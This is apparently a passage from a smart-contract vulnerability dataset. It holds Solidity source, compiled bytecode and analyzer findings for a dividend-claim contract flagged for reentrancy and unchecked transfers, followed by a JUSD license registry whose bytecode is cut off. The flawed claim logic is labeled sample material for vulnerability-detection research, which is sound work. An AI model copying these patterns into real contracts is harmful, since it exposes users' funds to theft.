require(id < 3, "There 3 token, id should be 0,1,2");
tokenInput[id].addr = _inputToken;
tokenInput[id].rateInput = _inputRate;
tokenInput[id].rateOutput = _outputRate;
}
receive() external payable {
}
function ownerWithdrawEthAndToken() public onlyOwner{
tokenAccel.transfer(msg.sender, tokenAccel.balanceOf(address(this)));
payable(msg.sender).transfer(address(this).balance);
}
function ownerSetupTokenBalance(uint256 id, address[] calldata accounts, uint256[] calldata amount) public onlyOwner {
require(id < 3, "There 3 token, id should be 0,1,2");
for( uint256 i = 0; i < accounts.length; i++){
balances[id][accounts[i]] = amount[i];
totalDevidend = totalDevidend.add(amount[i].mul(tokenInput[id].rateOutput).div(tokenInput[id].rateInput));
}
}
function getClaimableAmount(address account) public view returns(uint256 tokens, uint256 eth, uint256 dividend){
if(totalDevidend == 0){
tokens = 0;
eth = 0;
dividend = 0;
}else{
uint256 yourDividend = 0;
for (uint256 i= 0; i<3; i++){
if(tokenInput[i].rateInput > 0)
yourDividend = yourDividend.add(balances[i][account].mul(tokenInput[i].rateOutput).div(tokenInput[i].rateInput));
}
tokens = tokenAccel.balanceOf(address(this)).mul(yourDividend).div(totalDevidend);
eth = address(this).balance.mul(yourDividend).div(totalDevidend);
dividend = yourDividend;
}
}
function claim() public{
require(claimed[msg.sender] == false, "Already claimed");
claimed[msg.sender] = true;
(uint256 tokens, uint256 eth, uint256 dividend) = getClaimableAmount(msg.sender);
tokenAccel.transfer(msg.sender, tokens);
payable(msg.sender).transfer(eth);
totalDevidend = totalDevidend - dividend;
}
}
|
0x6080604052600436106100a05760003560e01c80637333555911610064578063733355591461014a5780637df62b6f1461016a5780638da5cb5b146101d6578063c884ef83146101f4578063e12f3a6114610234578063f2fde38b1461026f57600080fd5b806330878aae146100ac5780634e71d92d146100c357806362faf223146100d85780636c8ffd93146100f8578063715018a61461013557600080fd5b366100a757005b600080fd5b3480156100b857600080fd5b506100c161028f565b005b3480156100cf57600080fd5b506100c16103f5565b3480156100e457600080fd5b506100c16100f3366004610c28565b61053e565b34801561010457600080fd5b50600154610118906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561014157600080fd5b506100c16106a7565b34801561015657600080fd5b506100c1610165366004610bee565b61071b565b34801561017657600080fd5b506101b1610185366004610bbe565b60026020819052600091825260409091208054600182015491909201546001600160a01b039092169183565b604080516001600160a01b03909416845260208401929092529082015260600161012c565b3480156101e257600080fd5b506000546001600160a01b0316610118565b34801561020057600080fd5b5061022461020f366004610b84565b60046020526000908152604090205460ff1681565b604051901515815260200161012c565b34801561024057600080fd5b5061025461024f366004610b84565b6107a1565b6040805193845260208401929092529082015260600161012c565b34801561027b57600080fd5b506100c161028a366004610b84565b6108f2565b6000546001600160a01b031633146102c25760405162461bcd60e51b81526004016102b990610ce0565b60405180910390fd5b6001546040516370a0823160e01b81523060048201526001600160a01b039091169063a9059cbb90339083906370a082319060240160206040518083038186803b15801561030f57600080fd5b505afa158015610323573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103479190610bd6565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b15801561038d57600080fd5b505af11580156103a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103c59190610b9e565b5060405133904780156108fc02916000818181858888f193505050501580156103f2573d6000803e3d6000fd5b50565b3360009081526004602052604090205460ff16156104475760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e4818db185a5b5959608a1b60448201526064016102b9565b336000818152600460205260408120805460ff19166001179055908190819061046f906107a1565b60015460405163a9059cbb60e01b81523360048201526024810185905293965091945092506001600160a01b03169063a9059cbb90604401602060405180830381600087803b1580156104c157600080fd5b505af11580156104d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104f99190610b9e565b50604051339083156108fc029084906000818181858888f19350505050158015610527573d6000803e3d6000fd5b50806005546105369190610d6c565b600555505050565b6000546001600160a01b031633146105685760405162461bcd60e51b81526004016102b990610ce0565b600385106105885760405162461bcd60e51b81526004016102b990610c9f565b60005b8381101561069f578282828181106105b357634e487b7160e01b600052603260045260246000fd5b905060200201356003600088815260200190815260200160002060008787858181106105ef57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906106049190610b84565b6001600160a01b031681526020808201929092526040908101600090812093909355888352600291829052909120600181015491015461068a916106819161067b9087878781811061066657634e487b7160e01b600052603260045260246000fd5b905060200201356109dc90919063ffffffff16565b90610a64565b60055490610abf565b6005558061069781610d83565b91505061058b565b505050505050565b6000546001600160a01b031633146106d15760405162461bcd60e51b81526004016102b990610ce0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107455760405162461bcd60e51b81526004016102b990610ce0565b600384106107655760405162461bcd60e51b81526004016102b990610c9f565b600093845260026020819052604090942080546001600160a01b0319166001600160a01b03949094169390931783556001830191909155910155565b6000806000600554600014156107bf575060009150819050806108eb565b6000805b600381101561084457600081815260026020526040902060010154156108325760008181526002602081815260408084206001810154930154600383528185206001600160a01b038c1686529092529092205461082f92610828929161067b916109dc565b8390610abf565b91505b8061083c81610d83565b9150506107c3565b506005546001546040516370a0823160e01b81523060048201526108d2929161067b9185916001600160a01b0316906370a082319060240160206040518083038186803b15801561089457600080fd5b505afa1580156108a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108cc9190610bd6565b906109dc565b6005549094506108e69061067b47846109dc565b925090505b9193909250565b6000546001600160a01b0316331461091c5760405162461bcd60e51b81526004016102b990610ce0565b6001600160a01b0381166109815760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016102b9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000826109eb57506000610a5e565b60006109f78385610d4d565b905082610a048583610d2d565b14610a5b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016102b9565b90505b92915050565b6000808211610ab55760405162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f00000000000060448201526064016102b9565b610a5b8284610d2d565b600080610acc8385610d15565b905083811015610a5b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016102b9565b80356001600160a01b0381168114610b3557600080fd5b919050565b60008083601f840112610b4b578182fd5b50813567ffffffffffffffff811115610b62578182fd5b6020830191508360208260051b8501011115610b7d57600080fd5b9250929050565b600060208284031215610b95578081fd5b610a5b82610b1e565b600060208284031215610baf578081fd5b81518015158114610a5b578182fd5b600060208284031215610bcf578081fd5b5035919050565b600060208284031215610be7578081fd5b5051919050565b60008060008060808587031215610c03578283fd5b84359350610c1360208601610b1e565b93969395505050506040820135916060013590565b600080600080600060608688031215610c3f578081fd5b85359450602086013567ffffffffffffffff80821115610c5d578283fd5b610c6989838a01610b3a565b90965094506040880135915080821115610c81578283fd5b50610c8e88828901610b3a565b969995985093965092949392505050565b60208082526021908201527f5468657265203320746f6b656e2c2069642073686f756c6420626520302c312c6040820152601960f91b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610d2857610d28610d9e565b500190565b600082610d4857634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615610d6757610d67610d9e565b500290565b600082821015610d7e57610d7e610d9e565b500390565b6000600019821415610d9757610d97610d9e565b5060010190565b634e487b7160e01b600052601160045260246000fdfea26469706673582212209c4e881732b714f5b4e4c433f6d594b97547a5aedc96127d0e5b705fafcc560c64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 2,683 |
0xeAf9A68cc9012c095C07cAA81C5F931272d9f1D6
|
/* Author: Victor Mezrin victor@mezrin.com */
pragma solidity ^0.4.24;
/**
* @title OwnableInterface
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract OwnableInterface {
/**
* @dev The getter for "owner" contract variable
*/
function getOwner() public constant returns (address);
/**
* @dev Throws if called by any account other than the current owner.
*/
modifier onlyOwner() {
require (msg.sender == getOwner());
_;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable is OwnableInterface {
/* Storage */
address owner = address(0x0);
address proposedOwner = address(0x0);
/* Events */
event OwnerAssignedEvent(address indexed newowner);
event OwnershipOfferCreatedEvent(address indexed currentowner, address indexed proposedowner);
event OwnershipOfferAcceptedEvent(address indexed currentowner, address indexed proposedowner);
event OwnershipOfferCancelledEvent(address indexed currentowner, address indexed proposedowner);
/**
* @dev The constructor sets the initial `owner` to the passed account.
*/
constructor () public {
owner = msg.sender;
emit OwnerAssignedEvent(owner);
}
/**
* @dev Old owner requests transfer ownership to the new owner.
* @param _proposedOwner The address to transfer ownership to.
*/
function createOwnershipOffer(address _proposedOwner) external onlyOwner {
require (proposedOwner == address(0x0));
require (_proposedOwner != address(0x0));
require (_proposedOwner != address(this));
proposedOwner = _proposedOwner;
emit OwnershipOfferCreatedEvent(owner, _proposedOwner);
}
/**
* @dev Allows the new owner to accept an ownership offer to contract control.
*/
//noinspection UnprotectedFunction
function acceptOwnershipOffer() external {
require (proposedOwner != address(0x0));
require (msg.sender == proposedOwner);
address _oldOwner = owner;
owner = proposedOwner;
proposedOwner = address(0x0);
emit OwnerAssignedEvent(owner);
emit OwnershipOfferAcceptedEvent(_oldOwner, owner);
}
/**
* @dev Old owner cancels transfer ownership to the new owner.
*/
function cancelOwnershipOffer() external {
require (proposedOwner != address(0x0));
require (msg.sender == owner || msg.sender == proposedOwner);
address _oldProposedOwner = proposedOwner;
proposedOwner = address(0x0);
emit OwnershipOfferCancelledEvent(owner, _oldProposedOwner);
}
/**
* @dev The getter for "owner" contract variable
*/
function getOwner() public constant returns (address) {
return owner;
}
/**
* @dev The getter for "proposedOwner" contract variable
*/
function getProposedOwner() public constant returns (address) {
return proposedOwner;
}
}
/**
* @title ManageableInterface
* @dev Contract that allows to grant permissions to any address
* @dev In real life we are no able to perform all actions with just one Ethereum address
* @dev because risks are too high.
* @dev Instead owner delegates rights to manage an contract to the different addresses and
* @dev stay able to revoke permissions at any time.
*/
contract ManageableInterface {
/**
* @dev Function to check if the manager can perform the action or not
* @param _manager address Manager`s address
* @param _permissionName string Permission name
* @return True if manager is enabled and has been granted needed permission
*/
function isManagerAllowed(address _manager, string _permissionName) public constant returns (bool);
/**
* @dev Modifier to use in derived contracts
*/
modifier onlyAllowedManager(string _permissionName) {
require(isManagerAllowed(msg.sender, _permissionName) == true);
_;
}
}
contract Manageable is OwnableInterface,
ManageableInterface {
/* Storage */
mapping (address => bool) managerEnabled; // hard switch for a manager - on/off
mapping (address => mapping (string => bool)) managerPermissions; // detailed info about manager`s permissions
/* Events */
event ManagerEnabledEvent(address indexed manager);
event ManagerDisabledEvent(address indexed manager);
event ManagerPermissionGrantedEvent(address indexed manager, bytes32 permission);
event ManagerPermissionRevokedEvent(address indexed manager, bytes32 permission);
/* Configure contract */
/**
* @dev Function to add new manager
* @param _manager address New manager
*/
function enableManager(address _manager) external onlyOwner onlyValidManagerAddress(_manager) {
require(managerEnabled[_manager] == false);
managerEnabled[_manager] = true;
emit ManagerEnabledEvent(_manager);
}
/**
* @dev Function to remove existing manager
* @param _manager address Existing manager
*/
function disableManager(address _manager) external onlyOwner onlyValidManagerAddress(_manager) {
require(managerEnabled[_manager] == true);
managerEnabled[_manager] = false;
emit ManagerDisabledEvent(_manager);
}
/**
* @dev Function to grant new permission to the manager
* @param _manager address Existing manager
* @param _permissionName string Granted permission name
*/
function grantManagerPermission(
address _manager, string _permissionName
)
external
onlyOwner
onlyValidManagerAddress(_manager)
onlyValidPermissionName(_permissionName)
{
require(managerPermissions[_manager][_permissionName] == false);
managerPermissions[_manager][_permissionName] = true;
emit ManagerPermissionGrantedEvent(_manager, keccak256(_permissionName));
}
/**
* @dev Function to revoke permission of the manager
* @param _manager address Existing manager
* @param _permissionName string Revoked permission name
*/
function revokeManagerPermission(
address _manager, string _permissionName
)
external
onlyOwner
onlyValidManagerAddress(_manager)
onlyValidPermissionName(_permissionName)
{
require(managerPermissions[_manager][_permissionName] == true);
managerPermissions[_manager][_permissionName] = false;
emit ManagerPermissionRevokedEvent(_manager, keccak256(_permissionName));
}
/* Getters */
/**
* @dev Function to check manager status
* @param _manager address Manager`s address
* @return True if manager is enabled
*/
function isManagerEnabled(
address _manager
)
public
constant
onlyValidManagerAddress(_manager)
returns (bool)
{
return managerEnabled[_manager];
}
/**
* @dev Function to check permissions of a manager
* @param _manager address Manager`s address
* @param _permissionName string Permission name
* @return True if manager has been granted needed permission
*/
function isPermissionGranted(
address _manager, string _permissionName
)
public
constant
onlyValidManagerAddress(_manager)
onlyValidPermissionName(_permissionName)
returns (bool)
{
return managerPermissions[_manager][_permissionName];
}
/**
* @dev Function to check if the manager can perform the action or not
* @param _manager address Manager`s address
* @param _permissionName string Permission name
* @return True if manager is enabled and has been granted needed permission
*/
function isManagerAllowed(
address _manager, string _permissionName
)
public
constant
onlyValidManagerAddress(_manager)
onlyValidPermissionName(_permissionName)
returns (bool)
{
return (managerEnabled[_manager] && managerPermissions[_manager][_permissionName]);
}
/* Helpers */
/**
* @dev Modifier to check manager address
*/
modifier onlyValidManagerAddress(address _manager) {
require(_manager != address(0x0));
_;
}
/**
* @dev Modifier to check name of manager permission
*/
modifier onlyValidPermissionName(string _permissionName) {
require(bytes(_permissionName).length != 0);
_;
}
}
/**
* @title PausableInterface
* @dev Base contract which allows children to implement an emergency stop mechanism.
* @dev Based on zeppelin's Pausable, but integrated with Manageable
* @dev Contract is in paused state by default and should be explicitly unlocked
*/
contract PausableInterface {
/**
* Events
*/
event PauseEvent();
event UnpauseEvent();
/**
* @dev called by the manager to pause, triggers stopped state
*/
function pauseContract() public;
/**
* @dev called by the manager to unpause, returns to normal state
*/
function unpauseContract() public;
/**
* @dev The getter for "paused" contract variable
*/
function getPaused() public constant returns (bool);
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenContractNotPaused() {
require(getPaused() == false);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenContractPaused {
require(getPaused() == true);
_;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
* @dev Based on zeppelin's Pausable, but integrated with Manageable
* @dev Contract is in paused state by default and should be explicitly unlocked
*/
contract Pausable is ManageableInterface,
PausableInterface {
/**
* Storage
*/
bool paused = true;
/**
* @dev called by the manager to pause, triggers stopped state
*/
function pauseContract() public onlyAllowedManager('pause_contract') whenContractNotPaused {
paused = true;
emit PauseEvent();
}
/**
* @dev called by the manager to unpause, returns to normal state
*/
function unpauseContract() public onlyAllowedManager('unpause_contract') whenContractPaused {
paused = false;
emit UnpauseEvent();
}
/**
* @dev The getter for "paused" contract variable
*/
function getPaused() public constant returns (bool) {
return paused;
}
}
/**
* @title BytecodeExecutorInterface interface
* @dev Implementation of a contract that execute any bytecode on behalf of the contract
* @dev Last resort for the immutable and not-replaceable contract :)
*/
contract BytecodeExecutorInterface {
/* Events */
event CallExecutedEvent(address indexed target,
uint256 suppliedGas,
uint256 ethValue,
bytes32 transactionBytecodeHash);
event DelegatecallExecutedEvent(address indexed target,
uint256 suppliedGas,
bytes32 transactionBytecodeHash);
/* Functions */
function executeCall(address _target, uint256 _suppliedGas, uint256 _ethValue, bytes _transactionBytecode) external;
function executeDelegatecall(address _target, uint256 _suppliedGas, bytes _transactionBytecode) external;
}
/**
* @title BytecodeExecutor
* @dev Implementation of a contract that execute any bytecode on behalf of the contract
* @dev Last resort for the immutable and not-replaceable contract :)
*/
contract BytecodeExecutor is ManageableInterface,
BytecodeExecutorInterface {
/* Storage */
bool underExecution = false;
/* BytecodeExecutorInterface */
function executeCall(
address _target,
uint256 _suppliedGas,
uint256 _ethValue,
bytes _transactionBytecode
)
external
onlyAllowedManager('execute_call')
{
require(underExecution == false);
underExecution = true; // Avoid recursive calling
_target.call.gas(_suppliedGas).value(_ethValue)(_transactionBytecode);
underExecution = false;
emit CallExecutedEvent(_target, _suppliedGas, _ethValue, keccak256(_transactionBytecode));
}
function executeDelegatecall(
address _target,
uint256 _suppliedGas,
bytes _transactionBytecode
)
external
onlyAllowedManager('execute_delegatecall')
{
require(underExecution == false);
underExecution = true; // Avoid recursive calling
_target.delegatecall.gas(_suppliedGas)(_transactionBytecode);
underExecution = false;
emit DelegatecallExecutedEvent(_target, _suppliedGas, keccak256(_transactionBytecode));
}
}
/**
* @title AssetIDInterface
* @dev Interface of a contract that assigned to an asset (JNT, JUSD etc.)
* @dev Contracts for the same asset (like JNT, JUSD etc.) will have the same AssetID.
* @dev This will help to avoid misconfiguration of contracts
*/
contract AssetIDInterface {
function getAssetID() public constant returns (string);
function getAssetIDHash() public constant returns (bytes32);
}
/**
* @title AssetID
* @dev Base contract implementing AssetIDInterface
*/
contract AssetID is AssetIDInterface {
/* Storage */
string assetID;
/* Constructor */
constructor (string _assetID) public {
require(bytes(_assetID).length > 0);
assetID = _assetID;
}
/* Getters */
function getAssetID() public constant returns (string) {
return assetID;
}
function getAssetIDHash() public constant returns (bytes32) {
return keccak256(assetID);
}
}
/**
* @title CrydrLicenseRegistryInterface
* @dev Interface of the contract that stores licenses
*/
contract CrydrLicenseRegistryInterface {
/**
* @dev Function to check licenses of investor
* @param _userAddress address User`s address
* @param _licenseName string License name
* @return True if investor is admitted and has required license
*/
function isUserAllowed(address _userAddress, string _licenseName) public constant returns (bool);
}
/**
* @title CrydrLicenseRegistryManagementInterface
* @dev Interface of the contract that stores licenses
*/
contract CrydrLicenseRegistryManagementInterface {
/* Events */
event UserAdmittedEvent(address indexed useraddress);
event UserDeniedEvent(address indexed useraddress);
event UserLicenseGrantedEvent(address indexed useraddress, bytes32 licensename);
event UserLicenseRenewedEvent(address indexed useraddress, bytes32 licensename);
event UserLicenseRevokedEvent(address indexed useraddress, bytes32 licensename);
/* Configuration */
/**
* @dev Function to admit user
* @param _userAddress address User`s address
*/
function admitUser(address _userAddress) external;
/**
* @dev Function to deny user
* @param _userAddress address User`s address
*/
function denyUser(address _userAddress) external;
/**
* @dev Function to check admittance of an user
* @param _userAddress address User`s address
* @return True if investor is in the registry and admitted
*/
function isUserAdmitted(address _userAddress) public constant returns (bool);
/**
* @dev Function to grant license to an user
* @param _userAddress address User`s address
* @param _licenseName string name of the license
*/
function grantUserLicense(address _userAddress, string _licenseName) external;
/**
* @dev Function to revoke license from the user
* @param _userAddress address User`s address
* @param _licenseName string name of the license
*/
function revokeUserLicense(address _userAddress, string _licenseName) external;
/**
* @dev Function to check license of an investor
* @param _userAddress address User`s address
* @param _licenseName string License name
* @return True if investor has been granted needed license
*/
function isUserGranted(address _userAddress, string _licenseName) public constant returns (bool);
}
/**
* @title CrydrLicenseRegistry
* @dev Contract that stores licenses
*/
contract CrydrLicenseRegistry is ManageableInterface,
CrydrLicenseRegistryInterface,
CrydrLicenseRegistryManagementInterface {
/* Storage */
mapping (address => bool) userAdmittance;
mapping (address => mapping (string => bool)) userLicenses;
/* CrydrLicenseRegistryInterface */
function isUserAllowed(
address _userAddress, string _licenseName
)
public
constant
onlyValidAddress(_userAddress)
onlyValidLicenseName(_licenseName)
returns (bool)
{
return userAdmittance[_userAddress] &&
userLicenses[_userAddress][_licenseName];
}
/* CrydrLicenseRegistryManagementInterface */
function admitUser(
address _userAddress
)
external
onlyValidAddress(_userAddress)
onlyAllowedManager('admit_user')
{
require(userAdmittance[_userAddress] == false);
userAdmittance[_userAddress] = true;
emit UserAdmittedEvent(_userAddress);
}
function denyUser(
address _userAddress
)
external
onlyValidAddress(_userAddress)
onlyAllowedManager('deny_user')
{
require(userAdmittance[_userAddress] == true);
userAdmittance[_userAddress] = false;
emit UserDeniedEvent(_userAddress);
}
function isUserAdmitted(
address _userAddress
)
public
constant
onlyValidAddress(_userAddress)
returns (bool)
{
return userAdmittance[_userAddress];
}
function grantUserLicense(
address _userAddress, string _licenseName
)
external
onlyValidAddress(_userAddress)
onlyValidLicenseName(_licenseName)
onlyAllowedManager('grant_license')
{
require(userLicenses[_userAddress][_licenseName] == false);
userLicenses[_userAddress][_licenseName] = true;
emit UserLicenseGrantedEvent(_userAddress, keccak256(_licenseName));
}
function revokeUserLicense(
address _userAddress, string _licenseName
)
external
onlyValidAddress(_userAddress)
onlyValidLicenseName(_licenseName)
onlyAllowedManager('revoke_license')
{
require(userLicenses[_userAddress][_licenseName] == true);
userLicenses[_userAddress][_licenseName] = false;
emit UserLicenseRevokedEvent(_userAddress, keccak256(_licenseName));
}
function isUserGranted(
address _userAddress, string _licenseName
)
public
constant
onlyValidAddress(_userAddress)
onlyValidLicenseName(_licenseName)
returns (bool)
{
return userLicenses[_userAddress][_licenseName];
}
function isUserLicenseValid(
address _userAddress, string _licenseName
)
public
constant
onlyValidAddress(_userAddress)
onlyValidLicenseName(_licenseName)
returns (bool)
{
return userLicenses[_userAddress][_licenseName];
}
/* Helpers */
modifier onlyValidAddress(address _userAddress) {
require(_userAddress != address(0x0));
_;
}
modifier onlyValidLicenseName(string _licenseName) {
require(bytes(_licenseName).length > 0);
_;
}
}
/**
* @title JCashLicenseRegistry
* @dev Contract that stores licenses
*/
contract JCashLicenseRegistry is AssetID,
Ownable,
Manageable,
Pausable,
BytecodeExecutor,
CrydrLicenseRegistry {
/* Constructor */
constructor (string _assetID) AssetID(_assetID) public { }
}
contract JUSDLicenseRegistry is JCashLicenseRegistry {
constructor () public JCashLicenseRegistry('JUSD') {}
}
|
0x60806040526004361061015f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063026d0e1c146101645780630392d2b4146101bf5780630caa1d84146102605780631eb96a5c1461030157806332a2fda714610318578063439766ce146103b957806346d0fb60146103d057806348e071d41461047157806354ef356f146104b45780635ca5b3341461050f5780636805b84b14610552578063696b5fb7146105815780637c0efb8b14610611578063822b08d01461066c578063893d20e8146106c75780638ba7e5701461071e5780639739db9d1461078d5780639b53d87c146107d0578063a773d98a1461082b578063afa3de9b1461085e578063b08bbff0146108b9578063b33712c51461095a578063c050f6dc14610971578063d2b7d957146109b4578063d4859dc514610a19578063eae5a62d14610a5c578063f538534514610ab3575b600080fd5b34801561017057600080fd5b506101bd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001919091929391929390505050610aca565b005b3480156101cb57600080fd5b50610246600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610d13565b604051808215151515815260200191505060405180910390f35b34801561026c57600080fd5b506102e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610e79565b604051808215151515815260200191505060405180910390f35b34801561030d57600080fd5b50610316610f89565b005b34801561032457600080fd5b5061039f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611182565b604051808215151515815260200191505060405180910390f35b3480156103c557600080fd5b506103ce611293565b005b3480156103dc57600080fd5b50610457600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611349565b604051808215151515815260200191505060405180910390f35b34801561047d57600080fd5b506104b2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611459565b005b3480156104c057600080fd5b506104f5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115e7565b604051808215151515815260200191505060405180910390f35b34801561051b57600080fd5b50610550600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061167b565b005b34801561055e57600080fd5b506105676117f7565b604051808215151515815260200191505060405180910390f35b34801561058d57600080fd5b5061059661180e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d65780820151818401526020810190506105bb565b50505050905090810190601f1680156106035780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061d57600080fd5b5061066a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019082018035906020019190919293919293905050506118b0565b005b34801561067857600080fd5b506106c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001919091929391929390505050611ae8565b005b3480156106d357600080fd5b506106dc611d20565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561072a57600080fd5b5061078b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803590602001908201803590602001919091929391929390505050611d4a565b005b34801561079957600080fd5b506107ce600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ebf565b005b3480156107dc57600080fd5b50610811600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612094565b604051808215151515815260200191505060405180910390f35b34801561083757600080fd5b50610840612128565b60405180826000191660001916815260200191505060405180910390f35b34801561086a57600080fd5b506108b7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001919091929391929390505050612198565b005b3480156108c557600080fd5b50610940600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506123e1565b604051808215151515815260200191505060405180910390f35b34801561096657600080fd5b5061096f612546565b005b34801561097d57600080fd5b506109b2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506125fc565b005b3480156109c057600080fd5b50610a17600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190820180359060200191909192939192939050505061278a565b005b348015610a2557600080fd5b50610a5a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506128f3565b005b348015610a6857600080fd5b50610a71612a6f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610abf57600080fd5b50610ac8612a99565b005b82600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610b0757600080fd5b82828080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505060008151111515610b4a57600080fd5b6040805190810160405280600d81526020017f6772616e745f6c6963656e73650000000000000000000000000000000000000081525060011515610b8e3383610d13565b1515141515610b9c57600080fd5b60001515600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020868660405180838380828437820191505092505050908152602001604051809103902060009054906101000a900460ff161515141515610c1e57600080fd5b6001600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020868660405180838380828437820191505092505050908152602001604051809103902060006101000a81548160ff0219169083151502179055508573ffffffffffffffffffffffffffffffffffffffff167fc3e035c8da5265ecd158950d851ecf2b2bc0591aa338daa250ddb767c5349bc0868660405180838380828437820191505092505050604051809103902060405180826000191660001916815260200191505060405180910390a2505050505050565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610d5257600080fd5b826000815114151515610d6457600080fd5b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015610e6f5750600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020846040518082805190602001908083835b602083101515610e2d5780518252602082019150602081019050602083039250610e08565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060009054906101000a900460ff165b9250505092915050565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610eb857600080fd5b8260008151111515610ec957600080fd5b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020846040518082805190602001908083835b602083101515610f3e5780518252602082019150602081019050602083039250610f19565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060009054906101000a900460ff169250505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515610fe857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806110915750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561109c57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f223225995c0c0965e8752fd93ca10aba4bafcbca26f31b1565955adb68e76bda60405160405180910390a350565b600082600073ffffffffffffffffffffffff